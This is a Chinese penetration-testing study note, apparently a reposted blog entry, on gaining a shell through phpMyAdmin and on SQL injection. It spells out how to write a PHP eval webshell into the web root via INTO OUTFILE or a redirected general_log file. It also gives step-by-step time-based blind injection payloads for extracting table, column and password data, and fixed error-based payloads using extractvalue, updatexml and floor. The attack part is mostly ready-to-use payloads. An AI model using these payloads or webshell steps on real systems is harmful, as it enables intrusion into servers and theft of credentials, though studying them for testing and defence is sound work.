zoukankan      html  css  js  c++  java
  • 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记

    phpmyadmin getshell方法
    1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';
    2,如果secure-file-priv没设置为空或指定的文件夹可以利用,写入木马,select"<?php @eval($_POST[s]);?>" into outfile "var/www/html/xx.php"

    利用日志文件getshell,mysql大于5.0版本会创建日志文件,并且创建日志文件为全局变量,且可以读写的
    常见的日志文件分为业务日志和系统日志,利用Phpmyadmin的日志文件去Getshell
    1,通过弱口令或爆破方式登录phpmyadmin,执行sql语句select @@datadir; 得到数据库位置之后猜测源码存放的位置D:phpstudy_prowww下
    2,查看日志状态,show variables like '%general%'
    3,开启日志记录功能,并且修改记录的路径和文件名,set global general_log = 'on'
    4,修改保存文件位置,set global general_log_file = 'd:/phpstudy_pro/www/log.php'
    5,写入一句话select"<?php @eval($_POST[s]);?>"

    基于时间的sql注入
    使用特定的函数,让数据库去执行,在页面等待一定时间来查看当前页面中的注入情况

    函数
    sleep(),数据库暂停一段时间
    benchmark(),可以测试某些特定操作的执行速度。参数1可以是需要执行的次数,参数2是表达式就是某些动作。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数,比如benchmark(100,100*100)

    操作步骤
    1,找注入点,1' and sleep(3)%23
    2,获取当前数据库长度,and if(ascii(substring(database(),1,1))=114,sleep(5),'bye'),只有正确了才会sleep
    3,获取数据表,and if(ascii(substring((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表,比如user
    4,获取表的字段 ,and if(ascii(substring((select distinct column_name from information_schema.tables where table_schema=database() and table_name='users(需要转码16禁止)' limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表中字段,比如user,password
    5,获取值表中内容,and if(ascii(substring((select distinct select concat(user,0x7e,password) from users limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到表中内容
    6,破解密码,扫描目录,登录后台

    报错型sql注入
    利用一些报错的函数构造Pyload,数据库执行之后会报错,将需要的数据带出来,达到攻击目的

    报错函数
    1,extractvalue(xml,value),extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。
    extractvalue()的xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:or extractvalue(1,concat('#',(select * from (select ....) a)))#
    2,updatexml(参数1,参数2,参数3)函数,updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。改变xml文档中符合条件的值,参数1为xml文档,参数2是xpath格式字符串,参数3是string格式的用来替换查找到符合条件的字符串
    updatexml()获取数据的固定payload是:or updatexml(1,concat('#',(select * from (select ...) a)),0) #
    extracvalue()和updatexml()报错函数,截取字符长度都限制了32位
    3,floor()函数返回小于等于该值的最大整数,必需和conut() 计数,rand()产生0到1随机数,但是自己设置数的话会变长固定的, group by排序,等配合使用,只要可以达到相同目的的函数都可以使用
    (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'

  • 相关阅读:
    flink 使用processFunction函数的sideOutPut实现filter操作(java版)
    flink 状态编程之RichFlatMapFunction用法-java
    java flink之eventTime和window
    java spark sql 计算各个省份广告点击数的top3
    java spark 计算各个省份广告点击数的top3
    java streaming转换算子window,countByWindow
    java spark转换算子sortByKey
    java spark转换算子join、leftOuterJoin、rightOuterJoin、fullOuterjoin
    java spark转换算子groupByKey、reduceByKey、aggregateByKey
    java spark转换算子union、intersection、subtract
  • 原文地址:https://www.cnblogs.com/sym945/p/11725757.html
Copyright © 2011-2022 走看看